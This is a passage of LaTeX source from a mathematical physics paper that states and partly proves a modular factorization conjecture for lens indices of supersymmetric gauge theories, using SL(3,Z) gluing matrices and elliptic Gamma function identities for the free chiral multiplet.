\Gamma'_{\infty}\times \Gamma'_{\infty}\backslash S_{S_{23}\mathcal{O}}\cong \bigcup_{a\in \mathbb{Z}} \Gamma_\infty\backslash\Gamma_0(a)\cong \Gamma'_{\infty}\times \Gamma'_{\infty}\backslash\widetilde{S}_{S_{23}\mathcal{O}}\,.
\end{equation}
The explicit matrices $(h,\tilde{h})$ are given by:
\begin{equation}\label{eq:h-ht-S3xS1}
h=\begin{pmatrix}
n & 0 & m\\
-\tilde{n}l+\kappa n & 1 & -\tilde{n}k+\kappa m \\
l & 0 & k
\end{pmatrix}\,,\quad \tilde{h}=\begin{pmatrix}
\tilde{n} & 0 & m\\
-n\tilde{l}+\tilde{\kappa}\tilde{n} & 1 & -n\tilde{k}+\tilde{\kappa}m \\
\tilde{l} & 0 & \tilde{k}
\end{pmatrix}\,,
\end{equation}
where we have written $\tilde{n}$ as opposed to $c$ and $\kappa,\tilde{\kappa}\in \mathbb{Z}$ are free integers in $S_{S_{23}\mathcal{O}}$, but can be set to zero in the coset.
The meaning of the factor $\Gamma_{\infty}\backslash \Gamma_0(0)$ can be understood from the explicit matrices $(h,\tilde{h})$ and corresponds to a single element $(S_{13},S_{13})$.
In the case $\tilde{n}=n$, $\tilde{k}=k$ and $\tilde{l}=l=\tilde{\kappa}=\kappa$, the solution set turns out to have a particularly nice interpretation.
First, note that the $(h,\tilde{h})$ can now be written as:
\begin{equation}
h=\tilde{h}=\begin{pmatrix}
n & 0 & m\\
0 & 1 & -1 \\
l & 0 & k
\end{pmatrix}\,.
\end{equation}
That is, $S^{(-1,0)}_{S_{23}\mathcal{O}}$ almost embeds as a diagonal $SL(2,\mathbb{Z})$ subgroup of $H\times H$.
In fact, we can modify $f$ slightly to make this embedding exact.
For this, we make use of the relation \eqref{eq:Sf'-gen} between two solution sets $S_{f'}$ and $S_f$.
It follows from the expression of $S_{ij}$ in terms of $T_{ij}$ in \eqref{eq:defn-SL2ij} that:
\begin{equation}\label{eq:T32-as-S23}
T_{32}^{-1}\mathcal{O}=T_{23}^{-1}\,S_{23}\,\mathcal{O}\,T_{23}\,.
\end{equation}
Since $T_{23}\in H$, one easily verifies that $S^{(0,0)}_{T_{32}^{-1}\mathcal{O}}$ does embed as a diagonal $SL(2,\mathbb{Z})$ subgroup of $H\times H$:
\begin{equation}
S^{(0,0)}_{T_{32}^{-1}\mathcal{O}}=\left\lbrace (h,h)\;|\; h\in SL(2,\mathbb{Z})_{13} \right\rbrace \subset H\times H\,.
\end{equation}
This example reappears below as a special case of $L(p,-1)\times S^1$ for $p=1$.
The connection with $S^3\times S^1$ follows from the symmetry of Hopf surfaces under $\boldsymbol{\rho}\to T_{23}^{-1}\boldsymbol{\rho}$ and $f\to T_{23}^{-1} fT_{23}$, as mentioned in Section \ref{ssec:ambig-heegaard}.
Concluding, we find that the superconformal index admits a consistent factorization in terms of a family of holomorphic blocks containing a diagonal $SL(2,\mathbb{Z})_{13}\subset H\times H$.
We turn to a physical interpretation of this surprising fact in Section \ref{ssec:geom-int-univ-blocks}.
\paragraph{$\bm{L(p,\pm 1)\times S^1}$:}
Finally, we turn to $f_{(p,\pm 1)}=S_{23}T_{23}^{-p}S_{23}^{\pm 1}\mathcal{O}$.
The associated Hopf surface has topology $L(p,\pm 1)\times S^1$, and the constraints are solved by:
\begin{equation}
\tilde{n}=\mp n+pc\,,\qquad \tilde{c}=\pm c\,.
\end{equation}
The solution set can be described as:
\begin{equation}
\Gamma'_{\infty}\times \Gamma'_{\infty}\backslash S_{f_{(p,\pm 1)}} \cong\bigcup_{a\in \mathbb{Z}} \Gamma_\infty\backslash\Gamma_0(\pm 1+pa)\cong \Gamma'_{\infty}\times \Gamma'_{\infty}\backslash \widetilde{S}_{f_{(p,\pm 1)}}\,.
\end{equation}
In terms of the matrices $(h,\tilde{h})$ we have:
\begin{equation}\label{eq:h-ht-Lens}
h=\begin{pmatrix}
n & 0 & m\\
-cl+\kappa n & 1 & -ck+\kappa m\\
l & 0 & k
\end{pmatrix}\,,\quad \tilde{h}=\begin{pmatrix}
\mp n+pc & 0 & m\\
\mp c \tilde{l}+\tilde{\kappa}(\mp n+pc) & 1 & \mp c \tilde{k}+\tilde{\kappa}m \\
\tilde{l} & 0 & \tilde{k}
\end{pmatrix}\,.
\end{equation}
A simple and interesting example is the case when $c=\kappa=\tilde{\kappa}=0$.
In this case, the set $S_{f_{(p,- 1)}}^{(0,0)}$ embeds as a diagonal subgroup for any $p\in \mathbb{Z}$:
\begin{align}
\begin{split}
S_{f_{(p,-1)}}^{(0,0)}&= \left\lbrace (h,h)\;|\; h\in SL(2,\mathbb{Z})_{13} \right\rbrace \subset H\times H\,.
\end{split}
\end{align}
This reproduces our previous example for $p=1$ since $f_{(1,-1)}=T_{32}^{-1}\,\mathcal{O}$.
On the other hand, $S_{f_{(p, 1)}}^{(0,0)}$ does not immediately define a subgroup.
This follows from the fact that $\tilde{h}=S_{23}^2\,h\,S_{12}^2$, which is not a conjugation of $h$.
There is again a simple fix.
We instead look at the solution set for:
\begin{equation}
f'_{(p,1)}=S_{13}\, f_{(p,1)} \, S_{13}^{-1}\,.
\end{equation}
In this case, we find that $S^{(0,0)}_{f'_{(p,1)}}$ embeds as follows:
\begin{equation}
S^{(0,0)}_{f'_{(p,1)}}=\left\lbrace (h,S_{23}^2\,h\,S_{23}^2)\;|\; h\in SL(2,\mathbb{Z})_{13} \right\rbrace\subset H\times H\,.
\end{equation}
This defines a subgroup since $S_{23}^4=\mathbbm{1}$.
Concluding, we see that also the indices on $L(p,\pm 1)\times S^1$, for any $p$, admit a consistent factorization in terms of a family of holomorphic blocks that contains an (almost) diagonal $SL(2,\mathbb{Z})_{13}\subset H\times H$.
\subsection{Modular factorization conjecture}\label{ssec:mod-fact-conjecture}
We can now state our \emph{modular factorization conjecture}: a given lens index can be factorized in a variety of ways parametrized by $S_f$:
\begin{equation}\label{eq:mod-fact-conj}
\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})=e^{-i\pi \mathcal{P}^{\mathbf{m}}_f(\boldsymbol{\rho})} \sum_{\alpha} \mathcal{B}^\alpha_{h}(\boldsymbol{\rho})\mathcal{B}^\alpha_{\tilde{h}}(f^{-1}\boldsymbol{\rho})\,,\qquad (h,\tilde{h})\in S_f\subset H\times H\,.
\end{equation}
Without loss of generality, we take $f=g_{(p,q)}\,\mathcal{O}$ with $g_{(p,q)}\in SL(2,\mathbb{Z})_{23}$ as in \eqref{eq:gSL2-from-gSL3}.\footnote{The extension to more general gluing transformations follows from our observation in \eqref{eq:gSL2-from-gSL3} and the relation between $S_{f'}$ and $S_f$ in \eqref{eq:Sf'-gen}.}
Furthermore, we claim that the phase polynomial $\mathcal{P}^{\mathbf{m}}_f(\boldsymbol{\rho})$ captures the 't Hooft anomalies of the theory.
The constraint $(h,\tilde{h})\in S_f$ ensures that the index is independent of the boundary conditions imposed on the blocks.
That is, the factorization also holds with respect to $\mathcal{C}^{\alpha}_{h}(\boldsymbol{\rho})$ and $\mathcal{C}^{\alpha}_{\tilde{h}}(f^{-1}\boldsymbol{\rho})$.
The use of the word ``modular'' is motivated by the fact that $S_f$ contains modular (congruence sub-)groups.
Before turning to an interpretation in Section \ref{ssec:geom-int-univ-blocks} and a proof in Section \ref{ssec:evidence}, let us examine the conjecture in more detail for the $L(p,-1)\times S^1$ index.
This includes the $S^2\times T^2$ index for $p=0$ and the $S^3\times S^1$ index for $p=1$, up to a change of parameters:
\begin{equation}\label{eq:f(-1,1)-S23reln}
\mathcal{Z}_{f_{(1,-1)}}(T_{23}^{-1}\boldsymbol{\rho})=\mathcal{Z}_{S_{23}\mathcal{O}}(\boldsymbol{\rho})\equiv \mathcal{I}_{(1,0)}(\hat{\boldsymbol{\rho}})\,,\qquad \boldsymbol{\rho}=\hat{\boldsymbol{\rho}}\,.
\end{equation}
As mentioned in Section \ref{ssec:consistency-cond}, its solution set $S_{f_{(p,- 1)}}$ contains a diagonal $SL(2,\mathbb{Z})_{13}$ subgroup of $H\times H$.
Therefore, the modular factorization conjecture implies:
\begin{equation}
e^{-i\pi\mathcal{P}^{\mathbf{m}}_{f}(\boldsymbol{\rho})}\mathcal{B}^\alpha(h\boldsymbol{\rho})\mathcal{B}^\alpha(hf^{-1}\boldsymbol{\rho})=e^{-i\pi\mathcal{P}^{\mathbf{1}}_{f}(\boldsymbol{\rho})} \mathcal{B}^\alpha(\boldsymbol{\rho})\mathcal{B}^\alpha(f^{-1}\boldsymbol{\rho})\,,\quad h\in SL(2,\mathbb{Z})_{13}\,.
\end{equation}
This equation appears similar to an ordinary modular covariance, but, as also stressed in Section \ref{ssec:towards-conjecture}, it is a covariance with respect to a combined action:
\begin{equation}\label{eq:geom-action-conj}
\boldsymbol{\rho}\to h\boldsymbol{\rho}\,,\qquad f\to hfh^{-1}\,.
\end{equation}
As a result, unlike an ordinary modular covariance, it does not behave nicely under group multiplication:
\begin{equation}\label{eq:h1h2-property}
\mathcal{B}^\alpha(h_1h_2\boldsymbol{\rho})\mathcal{B}^\alpha(h_1h_2f^{-1}\boldsymbol{\rho})\ncong \mathcal{B}^\alpha(h_2\boldsymbol{\rho})\mathcal{B}^\alpha(h_2f^{-1}\boldsymbol{\rho})\,,
\end{equation}
unless $h_2$ commutes with $f^{-1}$.
The commutant of $f^{-1}$ inside $SL(2,\mathbb{Z})_{13}\subset SL(3,\mathbb{Z})$ is trivial unless $p=0$.
In the latter case, $f=\mathcal{O}$ and the commutant equals $H$.
This is indeed expected since the $S^2\times T^2$ index has modular properties under $H$.
Since a general lens index should not have such modular properties, \eqref{eq:h1h2-property} should be viewed as a feature rather than a bug.
A general lens index only transforms under $H$ in the generalized sense \eqref{eq:geom-action-conj}.
In Section \ref{sec:gen-modularity}, we will nonetheless see that a natural modular object can be constructed from the lens indices.
This object preserves the multiplication of \emph{gluing elements} $g\in\mathcal{G}$ in an interesting way, as opposed to the multiplication of large diffeomorphisms of the $D_{2}\times T^2$ geometries.
\subsection[Geometric interpretation of \texorpdfstring{$S_f$}{Sf} and universal blocks]{Geometric interpretation of \texorpdfstring{$\bm{S_f}$}{Sf} and universal blocks}\label{ssec:geom-int-univ-blocks}
The modular factorization conjecture asserts that a given lens index can be factorized in terms of a (modular) family $S_f\subset H\times H$ of holomorphic blocks.
This subset arises from the physical constraint that the compact space partition function should not depend on the boundary conditions imposed on the holomorphic blocks.
In this section, we will provide a more geometric interpretation of $S_f$.
We start with an observation about the set $S_f$ with $f=g\,\mathcal{O}$ as usual.
First, we define the subgroup $F\subset SL(3,\mathbb{Z})$ as follows:
\begin{equation}\label{eq:def-F1}
\begin{aligned}
F\equiv SL(2,\mathbb{Z})_{12}\ltimes \mathbb{Z}^{2} \,, \quad \textrm{with} \quad \mathbb{Z}^{2} &= \langle T_{31}\,,T_{32}\rangle\,.
\end{aligned}
\end{equation}
Note that this subgroup takes on the same form as $H$, but corresponds to a different embedding in $SL(3,\mathbb{Z})$.
It turns out the following two statements are equivalent:
\begin{equation}\label{eq:Sf-consequence-f'}
(h,\tilde{h})\in S_{g\,\mathcal{O}}\quad \text{if and only if}\quad g'=h\,g\,\mathcal{O}\tilde{h}^{-1}\mathcal{O}\in F\,.
\end{equation}
The right implication is easily verified for $g=g_{(p,q)}$, as in \eqref{eq:gSL2-from-gSL3}, by plugging in the associated solutions \eqref{eq:h-ht-Lens-gen} for $(h,\tilde{h})$.\footnote{For more general $f$, the claim follows from the relation \eqref{eq:Sf'-gen} and the observation in \eqref{eq:gSL2-from-gSL3}.}
One finds that $g'$ is of the form:
\begin{equation}\label{eq:g-in-F1}
g'=\begin{pmatrix}
* & * & 0\\
* & * & 0\\
* & * & 1
\end{pmatrix}\,,
\end{equation}
which corresponds to an element in $F\subset SL(3,\mathbb{Z})$.
The converse is also true, as one can check by solving the condition $g'\in F$ in terms of $(h,\tilde{h})$, and noting that the constraints on $(h,\tilde{h})$ are equivalent to the constraints derived in Section \ref{ssec:consistency-cond}.\footnote{To see this, one can note that the inverse of the $SL(2,\mathbb{Z})$ matrix given by $\alpha$, $\beta$, $\gamma$ and $\delta$ in \eqref{eq:constraint-h1,2} is equal to the $2\times 2$ block of $g'$, for $g= g_{(p,q)}$, as we will see explicitly later in \eqref{eq:h1,2-sl3-constr} with \eqref{eq:eq:h1,2-sl3-constr-hprime}. For more general $g\in SL(3,\mathbb{Z})$, one then uses \eqref{eq:Sf'-gen}.}
We now note that any $g'\in F$ fixes the cycle $\tilde{\lambda}=\lambda$ on $T^3$ (cf.\ \eqref{eq:Mg-defn-lambda-mu}).
We interpret the fixed cycle as the time circle inside the Hopf surface.
This leads to a natural geometric interpretation of $S_f$: given a topology of the Hopf surface fixed by $f$, $S_f$ parametrizes the Heegaard splittings $f'=hf\tilde{h}^{-1}$ of the Hopf surface which fix the time circle.
This forms a distinguished subset of all Heegaard splittings of a given Hopf surface, which were discussed in Section \ref{ssec:ambig-heegaard}.
So far, we have fixed the topology of the Hopf surface and solved for all compatible pairs $(h,\tilde{h})$.
However, we can also fix a general pair $(h,\tilde{h})\in H\times H$ and solve for all gluing transformations $f=g\,\mathcal{O}$ such that $g'\in F$.
The easiest example is given by $h=\tilde{h}=\mathbbm{1}$.
In this case, it is clear that any $f=g\,\mathcal{O}$ with $g\in F$ fixes the time circle.
It follows that the indices associated to any $g\in F$ can be consistently factorized in terms of the holomorphic block $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$, and that $F$ is the maximal subgroup of $SL(3,\mathbb{Z})$ with this property:
\begin{equation}
\mathcal{Z}_{g\mathcal{O}}(\boldsymbol{\rho})\cong \sum_{\alpha}\norm{\mathcal{B}^{\alpha}(\boldsymbol{\rho})}^2_{f}\,,\qquad g\in F\,,
\end{equation}
where we omit the relative phase.
Note that $F$ can be used to construct arbitrary topologies $L(p,q)\times S^1$ since $SL(2,\mathbb{Z})_{12}\subset F$ (see Section \ref{ssec:top-aspects}).
In this sense, $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$ is the universal block for indices associated the subgroup $F$.
However, we could have made a different choice of $(h,\tilde{h})$.
For example, let us choose $h=\tilde{h}=S_{13}$.
As reviewed in Section \ref{ssec:hol-blocks}, this choice corresponds to the holomorphic block $\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})$ used in the original work \cite{Nieri:2015yia}.
The set of gluing transformations which solve \eqref{eq:Sf-consequence-f'} is now given by:
\begin{equation}\label{eq:def-FS}
\begin{aligned}
F_S\equiv S_{13}^{-1}\,F\,S_{13}= SL(2,\mathbb{Z})_{23}\ltimes \mathbb{Z}^{2}\,,\quad \textrm{with} \quad \mathbb{Z}^{2} &= \langle T_{12}\,,T_{13}\rangle\,.
\end{aligned}
\end{equation}
Similarly to before, the index associated to any element in $F_S$ can be consistently factorized in terms of $\mathcal{B}_S^{\alpha}(\boldsymbol{\rho})$, and $F_S$ is the maximal subgroup of $SL(3,\mathbb{Z})$ with this property.
Since the conventional definition of the Hopf surfaces is with respect to $SL(2,\mathbb{Z})_{23}\subset F_S$, as discussed in Section \ref{ssec:hopf-surfaces}, this explains why the lens indices considered in \cite{Nieri:2015yia} were all factorized in terms of $\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})$.
More generally, the holomorphic block $\mathcal{B}^{\alpha}_h(\boldsymbol{\rho})$ for any $h\in H$ is the universal holomorphic block for indices associated to $f=g\,\mathcal{O}$ and $g\in F_h$ with:
\begin{equation}\label{eq:FhDef}
F_h\equiv h^{-1}\, F \,\mathcal{O}h\mathcal{O}\,.
\end{equation}
One could consider further generalizations with $h\neq \tilde{h}$, and define $F_{(h,\tilde{h})}\equiv h^{-1} F\mathcal{O}\tilde{h}\mathcal{O}$, but we note that such subsets do not form subgroups of $SL(3,\mathbb{Z})$.
Let us now look at a restricted set of topologies.
As in Section \ref{ssec:consistency-cond}, we consider the example of $f_{(p,-1)}=g_{(p,-1)}\,\mathcal{O}$ with $p$ arbitrary, associated to the topologies $L(p,-1)\times S^1$.
Explicitly, $g_{(p,-1)}$ is given by:
\begin{equation}
g_{(p,-1)}=\begin{pmatrix}
1 & 0 & 0\\
0 & 1 & 0\\
0 & -p & 1
\end{pmatrix}\,.
\end{equation}
We immediately see that it is an element in $F$, which means the associated index can be factorized in terms of $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$.
However, the condition \eqref{eq:Sf-consequence-f'} is preserved for any $h=\tilde{h}\in SL(2,\mathbb{Z})_{13}$.
That is, there is an $SL(2,\mathbb{Z})$ family of holomorphic blocks compatible with this subset of gluing transformations.
Geometrically, this follows from the fact that $g_{(p,-1)}$ fixes both $\tilde{\lambda}=\lambda$ and $\tilde{\lambda}'=\lambda'$, and therefore any combination of cycles $m\lambda+n\lambda'$ with $\gcd(m,n)=1$ could serve as a time circle.
Finally, we note that there does not exist a holomorphic block for which indices associated to the full subgroup $H\subset SL(3,\mathbb{Z})$ can be consistently factorized.
For example, one may check that for $f=T_{13}\,\mathcal{O}$ and $f=T_{31}\,\mathcal{O}$, there exist no $h,\tilde{h}\in H$ such that \eqref{eq:Sf-consequence-f'} holds for both transformations.
This is consistent with the geometric interpretation: $H$ does not fix any combination of the non-contractible cycles $\lambda$ and $\lambda'$ and therefore there is no invariant time circle.
\subsection{Evidence for conjecture}\label{ssec:evidence}
In this section, we prove the modular factorization conjecture for the free chiral multiplet, and indicate how the proof extends to general $\mathcal{N}=1$ gauge theories.
We make extensive use of modular properties of the elliptic $\Gamma$ function derived in Appendix \ref{app:mod-props-Gamma}.
\subsubsection{Free chiral multiplet}\label{sssec:proof-chiral}
For convenience, let us recall the relevant indices from Section \ref{sssec:example-free-chiral}:
\begin{align}\label{eq:free-chiral-ind-proof}
\begin{split}
Z_{\mathcal{O}}(\boldsymbol{\rho})&=\frac{1}{\theta(z;\sigma)}\,,\qquad Z_{S_{23}\mathcal{O}}(\boldsymbol{\rho})=\Gamma\left(z;\tau,\sigma\right)\\
Z_{g_{(p,1)}\mathcal{O}}(\boldsymbol{\rho})&=\Gamma\left(z+\sigma;\tau,\sigma\right)\Gamma\left(z;p\tau-\sigma,\tau\right)\,,
\end{split}
\end{align}
where we have taken the R-charge to be vanishing for notational convenience.\footnote{We will indicate below how the formulae generalize to $R\in 2\mathbb{Z}$.}
Furthermore, the $D_2\times T^2$ partition functions associated with Dirichlet and Robin-like boundary conditions are given by:
\begin{align}\label{eq:hol-blocks-bc-free-chiral-2}
\begin{split}
B(\boldsymbol{\rho})&= \Gamma(z+\sigma;\tau,\sigma) \qquad \textrm{and}\qquad C(\boldsymbol{\rho})= \Gamma(z;\tau,\sigma)\,,%
\end{split}
\end{align}
which satisfy:
\begin{equation}
B(\boldsymbol{\rho})=\theta(z;\tau)\, C(\boldsymbol{\rho})\,.
\end{equation}
Let us start with the superconformal index $Z_{S_{23}\mathcal{O}}(\boldsymbol{\rho})$.
The most general modular property involving three elliptic $\Gamma$ functions is derived in Appendix \ref{sapp:3-Gamma}.
It can be written as:
\begin{align}\label{eq:gen-mod-prop-3Gamma}
\begin{split}
\Gamma(z;\tau,\sigma)&=e^{-i\pi Q_{\mathbf{m}}(z;\tau,\sigma)}\Gamma\left(\tfrac{z}{m\sigma+n};\tfrac{\tau-\tilde{n}(k\sigma+l)}{m\sigma+n},\tfrac{k\sigma+l}{m\sigma+n}\right)\Gamma\left(\tfrac{z}{m\tau+\tilde{n}};\tfrac{\sigma-n(\tilde{k}\tau+\tilde{l})}{m\tau+\tilde{n}},\tfrac{\tilde{k}\tau+\tilde{l}}{m\tau+\tilde{n}}\right)\,,
\end{split}
\end{align}
where $\mathbf{m}=(m,n,\tilde{n})$, $kn-lm=1$ and $\tilde{k}\tilde{n}-\tilde{l}m=1$, and the phase prefactor can be written as:
\begin{equation}\label{eq:phase-gen-S23}
Q_{\mathbf{m}}(z;\tau,\sigma)=\tfrac{1}{m}Q(mz;m\tau+\tilde{n},m\sigma+n)+f_{\mathbf{m}}\,,
\end{equation}
with $f_{\mathbf{m}}$ a constant independent of $\boldsymbol{\rho}$.
We now note that the transformed variables on the right hand side precisely take the form $h\boldsymbol{\rho}$ and $\tilde{h}\tilde{\boldsymbol{\rho}}$ for the solutions $(h,\tilde{h})\in S_{S_{23}\mathcal{O}}$ given in \eqref{eq:h-ht-S3xS1}, and with $\tilde{\boldsymbol{\rho}}=\mathcal{O}S_{23}^{-1}\boldsymbol{\rho}$.
It follows that the modular property matches with the prediction of modular factorization:
\begin{align}
\begin{split}
Z_{S_{23}\mathcal{O}}(\boldsymbol{\rho})&=e^{-i\pi P^{\textbf{m}}_{S_{23}}\left(\boldsymbol{\rho}\right)}B_{h}(\boldsymbol{\rho})B_{\tilde{h}}(\mathcal{O}S_{23}^{-1}\boldsymbol{\rho})\\
&=e^{-i\pi \tilde{P}^{\textbf{m}}_{S_{23}}\left(\boldsymbol{\rho}\right)}C_{h}(\boldsymbol{\rho})C_{\tilde{h}}(\mathcal{O}S_{23}^{-1}\boldsymbol{\rho})\,,
\end{split}
\end{align}
where we recall that $B_h(\boldsymbol{\rho})\equiv B(h\boldsymbol{\rho})$ and similarly for $C_h(\boldsymbol{\rho})$, and define the phases in terms of $P_{S_{23}}(\boldsymbol{\rho};R)$ (see \eqref{eq:PS23-chiral}), which is:
\begin{equation}
P_{S_{23}}(z;\tau,\sigma;R)=Q(z+\tfrac{R}{2}(\tau+\sigma)-1;\tau,\sigma)\,,
\end{equation}
as follows:
\begin{align}\label{eq:PS23-chiral-2}
\begin{split}
P^{\textbf{m}}_{S_{23}}\left(z;\tau,\sigma\right)&=\tfrac{1}{m}P_{S_{23}}\left(mz;m\tau+\tilde{n},m\sigma+n;0 \right)+f_\mathbf{m}'\,,\\
\tilde{P}^{\textbf{m}}_{S_{23}}\left(z;\tau,\sigma\right)&=\tfrac{1}{m}P_{S_{23}}\left(mz+1;m\tau+\tilde{n},m\sigma+n;0 \right)+f_{\mathbf{m}}\,.\\
\end{split}
\end{align}
The equality between the two factorizations, up to a change in phase, follows from the relation between $B(\boldsymbol{\rho})$ and $C(\boldsymbol{\rho})$ and the fact that the pair $(h,\tilde{h})\in S_{S_{23}\mathcal{O}}$ solves the consistency condition \eqref{eq:consistency-cond-h}.
We also note that the phase prefactor still clearly encodes the 't Hooft anomalies, since it is related to $P_{S_{23}}(z;\tau,\sigma;R)$ up to a change of variables.
We do not have an interpretation of the additional constant; for an explicit formula of $f_{\mathbf{m}}$ and $f_{\mathbf{m}}'$ in some special cases, see \eqref{eq:phase-const} and \eqref{eq:secondfmvalues}.
Let us briefly comment on the generalization to $R\in 2\mathbb{Z}$.
Using the formulae for the index in \eqref{eq:lens-indices-chiral} and the $D_2\times T^2$ partition functions in \eqref{eq:hol-blocks-bc-free-chiral}, the factorization would follow from a property of the form:
\begin{align}\label{eq:ZS23-hol-blocks-gen}
\begin{split}
&\Gamma(z+\tfrac{R}{2}(\tau+\sigma);\tau,\sigma)=e^{-i\pi Q_{\mathbf{m}}(z;\tau,\sigma;R)}\\
&\times\Gamma\left(\tfrac{z+\frac{R}{2}(\tau-\tilde{n}(k\sigma+l))}{m\sigma+n};\tfrac{\tau-\tilde{n}(k\sigma+l)}{m\sigma+n},\tfrac{k\sigma+l}{m\sigma+n}\right)\Gamma\left(\tfrac{z+\frac{R}{2}(\sigma-n(\tilde{k}\tau+\tilde{l}))}{m\tau+\tilde{n}};\tfrac{\sigma-n(\tilde{k}\tau+\tilde{l})}{m\tau+\tilde{n}},\tfrac{\tilde{k}\tau+\tilde{l}}{m\tau+\tilde{n}}\right)\,,
\end{split}
\end{align}
for some $Q_{\mathbf{m}}(z;\tau,\sigma;R)$.
This formula reduces to \eqref{eq:gen-mod-prop-3Gamma} through repeated use of the shift property \eqref{eq:basic-shift-gamma-app} of elliptic $\Gamma$ functions and the elliptic and modular property in \eqref{eq:elliptic-theta} and \eqref{eq:result} of the $q$-$\theta$ function.
In the process, one picks up phases, which define $Q_{\mathbf{m}}(z;\tau,\sigma;R)$ in terms of $Q_{\mathbf{m}}(z;\tau,\sigma)$.
Note that $R\in 2\mathbb{Z}$ is crucial for this to work.
We now turn to the lens index $Z_{g_{(p,1)}\mathcal{O}}(\boldsymbol{\rho})$.
In this case, we need a modular property that involves four elliptic $\Gamma$ functions, as derived in Appendix \ref{sapp:4-Gamma}:
\begin{align}\label{eq:holomorphic-block-lensLp1}
\begin{split}
\Gamma\left(z+\sigma;\tau,\sigma\right)&\Gamma\left(z;p\tau-\sigma,\tau\right)=e^{-i\pi Q_{\mathbf{m}_p}(z;\tau,\sigma)}\Gamma\left(\tfrac{z}{m\sigma+n_1};\tfrac{\tau-c(k_1\sigma+l_1)}{m\sigma+n_1},\tfrac{k_1\sigma+l_{1}}{m\sigma+n_1}\right)\\
&\times \Gamma\left(\tfrac{z}{m(p\tau-\sigma)+\tilde{n}_2};\tfrac{\tau-c(\tilde{k}_2(p\tau-\sigma)+\tilde{l}_2)}{m(p\tau-\sigma)+\tilde{n}_2},\tfrac{\tilde{k}_2(p\tau-\sigma)+\tilde{l}_2}{m(p\tau-\sigma)+\tilde{n}_2}\right)\,,
\end{split}
\end{align}
where $k_1n_1-l_1m=1$, $\tilde{k}_2\tilde{n}_2-\tilde{l}_2m=1$, $\tilde{n}_2=-n_1+pc$, $c\in \mathbb{Z}$ is a free integer and $\mathbf{m}_p=(m,n_1,c;p)$.
Furthermore, the phase is given by:
\begin{align}
\begin{split}
Q_{\mathbf{m}_p}(z;\tau,\sigma)
&= \tfrac{1}{m p} Q\left(m z, \tfrac{m(p\tau-\sigma)+\tilde{n}_2}{p}, \tfrac{m\sigma+n_1}{p} \right) + \tfrac{p^2-1}{12p}(2z-\tau) + f_{\mathbf{m}_{p}}
\end{split}
\end{align}
with $f_{\mathbf{m}_p}$ a constant.
Setting $(n_1,k_1,l_1)\equiv (n,k,l)$ and $(\tilde{n}_2,\tilde{k}_2,\tilde{l}_2)\equiv (\tilde{n},\tilde{k},\tilde{l})$, we compare the transformed variables on the right hand side to $h\boldsymbol{\rho}$ and $\tilde{h}\tilde{\boldsymbol{\rho}}$ with $(h,\tilde{h})\in S_{g_{(p,1)}\mathcal{O}}$ given in \eqref{eq:h-ht-Lens} and $\tilde{\boldsymbol{\rho}}=\mathcal{O}g_{(p,1)}^{-1}\boldsymbol{\rho}$.
Sure enough, this property again precisely matches the factorization conjecture for the lens index of the free chiral multiplet:
\begin{align}
\begin{split}
Z_{g_{(p,1)}\mathcal{O}}(\boldsymbol{\rho})&=e^{-i\pi P^{\mathbf{m}_p}_{g_{(p,1)}}\left(\boldsymbol{\rho}\right)}B_{h}(\boldsymbol{\rho})B_{\tilde{h}}(\mathcal{O}g_{(p,1)}^{-1}\boldsymbol{\rho})\\
&=e^{-i\pi \tilde{P}^{\mathbf{m}_p}_{g_{(p,1)}}\left(\boldsymbol{\rho}\right)}C_{h}(\boldsymbol{\rho})C_{\tilde{h}}(\mathcal{O}g_{(p,1)}^{-1}\boldsymbol{\rho})\,,
\end{split}
\end{align}
where the phases can now be defined in terms of $P_{g_{(p,1)}}(\boldsymbol{\rho};R)$:
\begin{equation}
P_{g_{(p,1)}}(\boldsymbol{\rho};R)= \tfrac{1}{p} Q\left(z+\tfrac{R}{2}\tau-1,\tfrac{p\tau-\sigma}{p}, \tfrac{\sigma}{p}\right) + \tfrac{p^2-1}{12p}(2z-1+(R-1)\tau) \,,
\end{equation}
which we have rewritten as compared to its first appearance in \eqref{eq:Pgp-chiral}.
In terms of this function, the phases are defined as follows:
\begin{align}
\begin{split}
P^{\mathbf{m}_p}_{g_{(p,1)}}\left(z;\tau,\sigma\right)&=\tfrac{1}{m}P_{g_{(p,1)}}\left(mz;m\tau+c,m\sigma+n_1;0\right)+f_{\mathbf{m}_p}\,,\\
\tilde{P}^{\mathbf{m}_p}_{g_{(p,1)}}\left(z;\tau,\sigma\right)&=\tfrac{1}{m}P_{g_{(p,1)}}\left(mz+1;m\tau+c,m\sigma+n_1;0\right)+f_{\mathbf{m}_p}'\,.
\end{split}
\end{align}
The constants $f_{\mathbf{m}_p}$ and $f_{\mathbf{m}_p}'$ are again distinct.
It follows that the overall phase captures again the anomalies, since it is related to $P_{g_{(p,1)}}(\boldsymbol{\rho};R)$ through a change of variables.
The extension to $R\in 2\mathbb{Z}$ follows along similar lines as in the case of the $S^3\times S^1$ index.
Finally, we verify our factorization conjecture for the $S^2\times T^2$ index of the free chiral multiplet.
As in Section \ref{sssec:example-free-chiral}, we first note that:
\begin{equation}\label{eq:ZO-van-R}
Z_{\mathcal{O}}(\boldsymbol{\rho})=\frac{1}{\theta(z;\sigma)}=\Gamma(z;\tau,\sigma)\Gamma(z;-\tau,\sigma)\,,
\end{equation}
in the case of vanishing R-charge.
We now make use of the general modular property of the $q$-$\theta$ function:
\begin{align}
\begin{split}
\theta\left(\tfrac{z}{ m\sigma+n};\tfrac{k\sigma+l}{m\sigma+n} \right) &= e^{i\pi B^{\textbf{m}}_2(z;\sigma)}\theta(z;\sigma) \,.
\end{split}
\end{align}
Using this transformation, we find:
\begin{equation}\label{eq:ZO-gen-fact}
\frac{1}{\theta(z;\sigma)}=e^{-i\pi B^{\textbf{m}}_2(z;\sigma)}\Gamma\left(\tfrac{z}{m\sigma+n};\tfrac{\tau+a\sigma+b}{m\sigma+n},\tfrac{k\sigma+l}{m\sigma+n}\right)\Gamma\left(\tfrac{z}{m\sigma+n};-\tfrac{\tau+a\sigma+b}{m\sigma+n},\tfrac{k\sigma+l}{m\sigma+n}\right)\,,
\end{equation}
We note that the left hand side of \eqref{eq:ZO-van-R} is independent of $\tau$ because of the vanishing R-charge.
In general, however, it will depend on $\tau$ (cf.\ \eqref{eq:lens-indices-chiral}).
